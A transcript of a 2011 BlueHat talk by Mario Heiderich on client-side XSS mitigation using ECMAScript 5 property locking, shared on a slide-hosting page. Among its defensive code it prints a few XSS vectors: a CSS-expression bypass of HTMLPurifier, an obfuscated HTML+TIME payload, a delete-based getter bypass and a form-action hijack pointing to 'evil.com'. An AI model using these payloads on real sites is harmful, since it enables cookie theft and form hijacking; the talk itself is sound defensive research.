+ All Categories
Home > Technology > Locking the Throneroom 2.0

Locking the Throneroom 2.0

Date post: 15-Jan-2015
Category:
Upload: mario-heiderich
View: 3,200 times
Download: 1 times
Share this document with a friend
Description:
 
Popular Tags:
47
Locking the Throne Room How ES5+ will change XSS and Client Side Security A presentation by Mario Heiderich BlueHat, Redmond 2011
Transcript
Page 1: Locking the Throneroom 2.0

Locking the Throne RoomHow ES5+ will change XSS and Client Side Security

A presentation by Mario HeiderichBlueHat, Redmond 2011

Page 2: Locking the Throneroom 2.0

Introduction

Mario Heiderich Researcher and PhD student at the Ruhr-University,

Bochum Security Researcher for SRLabs, Berlin Security Researcher for Deutsche Post AG, Bonn Published author and international speaker HTML5 Security Cheatsheet / H5SC PHPIDS Project Twitter @0x6D6172696F

Page 3: Locking the Throneroom 2.0

First of all...

Buckle Up

Take a deep breath

A lot of content for a one hour talkWe'll be defeating XSS here

Page 4: Locking the Throneroom 2.0

Today's menu

JavaScript and the DOM Cross Site Scripting today

Current mitigation approaches A peek into the petri dishes of current development

A different approach ES5 and XSS

Some theory first And some horrific reality Future work

Page 5: Locking the Throneroom 2.0

JavaScript and XSS

Cross Site Scripting One site scripting another Early vectors abusing Iframes First published attacks in the late nineties Three four major variations

Reflected XSS Persistent XSS DOM based XSS / DOMXSS Plug-in XSS

Information theft and modification Impersonation and leverage of more complex attacks

Page 6: Locking the Throneroom 2.0

XSS today

An ancient and simple yet unsolved problem Complexity Browser bugs Insecure web applications Browser plug-ins Impedance mismatches Application layer mitigation concepts New features and spec drafts enabling 0-day attacks

XSS is a user agent problem! Nothing else!

Page 7: Locking the Throneroom 2.0

Mitigation History

Server side Native runtime functions, strip_tags(), htmlentities(), etc. Runtime libraries and request validation External libraries filtering input and output

HTMLPurifier, AntiSamy, kses, AntiXSS, SafeHTML HTTPOnly cookies

Client side protection mechanisms toStaticHTML() in IE8+ and NoScript IE8+ XSS filter and Webkit XSS Auditor Protective extensions such as NoScript, NotScripts Upcoming approaches such as CSP

Page 8: Locking the Throneroom 2.0

Reliability?

We broke every single one of themNumerous times

And we enjoyed it – as we will in the future

Page 9: Locking the Throneroom 2.0

Impedance mismatch

Layer A is unaware of Layer B capabilities and flaws Layer A deploys the attack Layer B executes the exploit

Case study: HTMLPurifier 4.1.1 Server side HTML filter and XSS mitigation library Internet Explorer 8, CSS expressions and a parser bug

<a style="background:url('/\'\,!@x:expression\(write\(1\)\)//\)!\'');"></a>

Page 10: Locking the Throneroom 2.0

Ancient Goods

HTML+TIME and behaviors

1;--<?f><l₩ :!!:x\/style=`b&#x5c;65h\0061vIo\r/ĸ

:url(#def&#x61ult#time2)\ö/';'`₩ /onbegin= &#x5bµ=\u00&#054;1le&#114t&#40&#x31)&#x5d&#

x2f/&#xyŧ\>

http://html5sec.org/what?

Page 11: Locking the Throneroom 2.0

Further vectors

Plug-in based XSS Adobe Reader Java applets Flash player Quicktime videos SVG images

Charset injection and content sniffing UTF-7 XSS, EBCDIC, MacFarsi, XSS via images Chameleon files, cross context scripting, local XSS

DOMXSS

Page 12: Locking the Throneroom 2.0

Quintessence

Server side filtering of client side attacks Useful and stable for basic XSS protection

Still not remotely sufficient Affected by charsets, impedance mismatches Subverted by browser bugs an parser errors Rendered useless by DOMXSS Bypassed via plug-in based XSS Helpless against attacks deployed from different servers Not suitable for what XSS has become

The server cannot serve protection for the client

And - where will the classic server be in five years?

Page 13: Locking the Throneroom 2.0

Revisiting XSS

XSS attacks target the client XSS attacks are being executed client side XSS attacks aim for client side data and control XSS attacks impersonate the user XSS is a client side problem

Sometimes caused by server side vulnerabilities Sometimes caused by a wide range of problems

transparent for the server

Still we try to improve server side XSS filters

Page 14: Locking the Throneroom 2.0

Idea

Prevention against XSS in the DOM Capability based DOM security Inspired by HTTPOnly

Cookies cannot be read by scripts anymore Why not changing document.cookie to do so

JavaScript up to 1.8.5 enabled this Unfortunately Non-Standard Example →

Page 15: Locking the Throneroom 2.0

__defineGetter__()

<script>

document.__defineGetter__('cookie', function(){

alert('no cookie access!');

return false;

});

</script>

<script>

alert(document.cookie)

</script>

Page 16: Locking the Throneroom 2.0

Problems

Proprietary And not tamper resistant at all

JavaScript supplies a delete operator Delete operations on DOM properties reset their state Getter definitions can simply be overwritten

Object getters - invalid for DOM protection purposes

Same for setters and overwritten methods

Page 17: Locking the Throneroom 2.0

Bypass

<script>

document.__defineGetter__('cookie', function(){

alert('no cookie access!');

return false;

});

</script>

<script>

delete document.cookie;

alert(document.cookie)

</script>

Page 18: Locking the Throneroom 2.0

Tamper Resistance

First attempts down the prototype chain document.__proto__.__defineGetter__() Document.prototype

Attempts to register delete event handlers Getter and setter definitions for the prototypes Setter protection for setters Recursion problems Interval based workarounds and race conditions

JavaScript 1.8 unsuitable for DOM based XSS protection

Page 19: Locking the Throneroom 2.0

ECMA Script 5

Older user agents use JavaScript based on ES3 Firefox 3 Internet Explorer 8 Opera 11

The modern ones already ship ES5 compliance Google Chrome Safari 5+ Firefox 4+ Internet Explorer 9 and 10pp3

Page 20: Locking the Throneroom 2.0

Object Extensions

Many novelties in ECMA Script 5 Relevance for client side XSS mitigation

Object extensions such as Object.freeze() and Object.seal() Object.getOwnPropertyNames() - a lovely method! Object.defineProperty() / Object.defineProperties() Object.preventExtensions()

Less relevant but still interesting Proxy Objects, useless since no host objects allowed... More meta-programming APIs Combinations with DOM Level 3 events

Page 21: Locking the Throneroom 2.0

({}).defineProperty()

Object.defineProperty() and ..Properties()

Three parameters Parent object

Child object to define

Descriptor literal

Descriptors allow to manipulate Get / Set behavior

Value

“Enumerability”

“Writeability”

“Configurability”

Example →

Page 22: Locking the Throneroom 2.0

Example

<script>Object.defineProperty(document, 'cookie', {

get: function(){return:false},set: function(){return:false},configurable:false

});</script>

<script>delete document.cookie;alert(document.cookie);

</script>

Page 23: Locking the Throneroom 2.0

configurable:false

Setting “configurability” to false is final The object description is stronger than delete Prototype deletion has to effect Re-definition is not possible

With this method call cookie access can be forbidden By the developer And by the attacker

Page 24: Locking the Throneroom 2.0

Prohibition

Regulating access in general Interesting to prevent cookie theft Other properties can be blocked too Method access and calls can be forbidden Methods can be changed completely Horizontal log can be added to any call, access and event

That is for existing HTML elements as well Example →

Page 25: Locking the Throneroom 2.0

Action Protection

<script>var form = document.getElementById('form');Object.defineProperty(form, 'action', {

set: IDS_detectHijacking, get: IDS_detectStealing, configurable:false

});</script>

<script>document.forms[0].action='//evil.com';

</script>

Page 26: Locking the Throneroom 2.0

First Roundup

Access prohibition might be effective

Value and argument logging helps detecting attacks

Possible IDS solutions are not affected by heavy string obfuscation

No impedance mismatches Attacks are detected on they layer they target Parser errors do not have effect here No effective charset obfuscations Immune against plug-in-deployed scripting attacks Automatic quasi-normalization

It's a blacklist though

Page 27: Locking the Throneroom 2.0

Going Further

No access prohibitions but RBAC via JavaScript Possible simplified protocol

Let object A know about permitted accessors Let accessors of object A be checked by the getter/setter Let object A react depending on access validity Seal object A Execute application logic Strict policy based approach

A shared secret between could strengthen the policy Example →

Page 28: Locking the Throneroom 2.0

RBAC and IDS

<script>Object.defineProperty(document, 'cookie', {

set:RBAC_checkSetter(IDS_checkArguments()),get:RBAC_checkGetter(IDS_checkArguments())configurable:false

});

// identified via arguments.callee.callerMy.allowedMethod(document.cookie);</script>

<script>alert(document.cookie)

</script>

Page 29: Locking the Throneroom 2.0

Forced Introspection

Existing properties can gain capabilities The added setter will know:

Who attempts to set What value is being used

The added getter will know: Who attempts to get

An overwritten function will know: How the original function looked like Who calls the function What arguments are being used

IDS and RBAC are possible

Tamper resistance thanks to configurable:false

Page 30: Locking the Throneroom 2.0

Case Study I

Stanford JavaScript Crypto Library

AES256, SHA256, HMAC and more in JavaScript

„SJCL is secure“

Not true from an XSS perspective

Global variables

Uses Math.floor(), Math.max(), Math.random() document.attachEvent(), native string methods etc. Any of which can be attacker controlled

High impact vulnerabilities ahead...

Page 31: Locking the Throneroom 2.0

Case Study II

BeEF – Browser Exploitation Framework As seen some minutes ago ☺ Uses global variables

window.beef = BeefJS;

Attacker could seal it with Object.defineProperty() Else the defender could “counterbeef” it BeEF XSS = Exploiting the exploiter Maybe a malformed UA string? Or host address?

Page 32: Locking the Throneroom 2.0

Deployment

Website owners should obey a new rule „The order of deployment is everything“ As long as trusted content is being deployed first

Object.defineProperty() can protect Sealing can be used for good

The script deploying first controls the DOM Persistent, tamper resistant and transparent

Self-defense is possible Example →

Page 33: Locking the Throneroom 2.0

!defineProperty()

<html><head><script>…Object.defineProperty(Object, 'defineProperty' {

value:[], configurable:false

});</script>

<script>Object.defineProperty(window,'secret', {

get:stealInfo}); // TypeError

</script>

Page 34: Locking the Throneroom 2.0

Reflection

Where are we now with ES5? Pro:

We can fully restrict property and method access We have the foundation for a client side IDS and RBAC We can regulate Object access, extension and modification CSP and sand-boxed Iframes support this approach

Contra: It's a blacklist Magic properties cause problems We need to prevent creation of a fresh DOM Right now the DOM sucks!

Still we can approach XSS w/o any obfuscation

Page 35: Locking the Throneroom 2.0

But now...

Enough with the theory already!

Page 36: Locking the Throneroom 2.0

Experimentation

Publish a totally XSS-able website 1st step: Attribute injections 2nd step: Full HTML injections, implemented as crappily as possible

No server filter at all

Protect it with JavaScript only

Block access to document.cookie

Implement a safe getter

Announce a challenge to break it Break→Score→Await Fix→Break→Score again Tough challenge→Evolutionary Result-Set→Extra Learning

Page 37: Locking the Throneroom 2.0

Code Example

document.cookie = '123456-secret-123456';

(function(){ var i,j,x,y; var c = document.cookie; var o = Object.defineProperty; document.cookie=null; o(MouseEvent.prototype, 'isTrusted', {configurable:false}); o(document, 'cookie', {get:function()arguments.callee.caller===Safe.get ? c : null}); x=Object.getOwnPropertyNames(window),x.push('HTMLHeadElement'); for(i in x) { if(/^HTML/.test(x[i])) { for(j in y=['innerHTML', 'textContent', 'text']) { o(window[x[i]].prototype, y[j], {get: function() null}) } } } for(i in x=['wholeText', 'nodeValue', 'data', 'text', 'textContent']) { o(Text.prototype, x[i], {get: function() null}) }})();

Page 38: Locking the Throneroom 2.0

A Safe Getter?

var Safe = {};Safe.get = function() { var e = arguments.callee.caller; if(e && e.arguments[0].type === 'click' && e.arguments[0].isTrusted === true) { return document.cookie } return null;};Object.freeze(Safe);

Make sure it's a click

Make really sure it's a click

Make really sure it's a real click

Look good, right?

Page 39: Locking the Throneroom 2.0

Result

Page 40: Locking the Throneroom 2.0

Evaluation by Penetration

Turns out it's been all rubbish

Code was broken 52 times Spoofing “real” clicks

Overwriting frozen properties

Using Iframes and data URIs

Using XHR from within JavaScript and data URIs

Finding leaking DOM properties

Cloning content into textarea and reading the value

Here's a full list

Code was fixed successfully 52 times Remainder of an overall of zero “unfixable” bypasses?

Well – almost. And depending on the user agent.

IE? Yes sir! Firefox? Yes - kinda. Rest? Nope

Page 41: Locking the Throneroom 2.0

Current State

XSSMe¹ still online http://html5sec.org/xssme

XSSMe² as well http://xssme.htm5sec.org/

You are welcome to break it

~14.000 attempts to break it so far 52 succeeded,

52 were ultimately fixed! Thanks plaintext and createHTMLDocument()

XSSMe³ / JSLR is available right now! http://www.businessinfo.co.uk/labs/jslr/jslr.php

Hat-tips to Gareth Heyes

~8.000 attempts to break it – of which 15 succeeded (so far) and 14 were fixed

And hopefully there is more to come

Page 42: Locking the Throneroom 2.0

How's it done?

XSSMe² Object.getOwnPropertyNames(window).concat(

Object.getOwnPropertyNames(Window.prototype)) document.write('<plaintext id=__doc>') document.implementation.createHTMLDocument()

JSLR/XSSMe³ All of the above Apply a random ID to any legitimate element Check against its existence Wrap JavaScript code in identifier blocks High security mode – server supported though

Please, please try to break it!

Page 43: Locking the Throneroom 2.0

So?

Client-side, JavaScript only XSS protection is possible

Is it elegant right now? Noope

Does it work on all modern browsers? Almost! IE and FF doing great

Is it feasible? Yes – but fragile

More fragile than protection allotted over n layers? Noope

What remains to be done?

A small wish-list for the browser vendors!

A possibility to make it work elegantly

Page 44: Locking the Throneroom 2.0

Future Work I

We need to fix the DOM Consistency please

Higher prio for DOM bugs – they will be security bugs anyway soon!

Specify a white-list based approach

Fix and refine event handling and DOM properties DOMFrameContentLoaded

Maybe DOMBeforeSubtreeModified?

Maybe DOMBeforeInsertNode?

The DOM needs more “trustability”

Monitor and contribute to ES6 and ES7

We need DOM Proxies!

Page 45: Locking the Throneroom 2.0

Future Work II

Talk to W3C people DOM Sandboxing kinda works – but that's about it

Introduce the features we need to make it elegant

Specify DOMInit, support its implementation

Specify Object.intercept() White-list based DOM access and caller interception

Details available soon. Or after a beer or two

And finally?

Please let's fix the Java Plugin! Really! This is sheer horror and breaks everything

Anyone here from Oracle we could talk to?

Page 46: Locking the Throneroom 2.0

Conclusion

XSS remains undefeated - but lots'a steps forwards were made

RIAs gain complexity and power, WDP and Win8

Client-agnostic server side filters designed to fail

Time for a new approach

Still a lot of work to be done

Client-side XSS protection and more is possible Just not the most elegant

Still – compare 70 lines of JS to 12091 lines of PHP

Let's get it done already

Hard? Yes. No one said it'd be easy :)

Page 47: Locking the Throneroom 2.0

Questions

Thanks for your time! Discussion?

Thanks for advice and contribution: G. Heyes, S. Di Paola, E. A. Vela Nava

R. Shafigullin, J. Tyson, M. Kinugawa, N. Hippert, M. Nison, K. Kotowicz

D. Ross and M. Caballero

J. Wilander and M. Bergling

J. Magazinius, Phung et al.

All unmentioned contributors


Recommended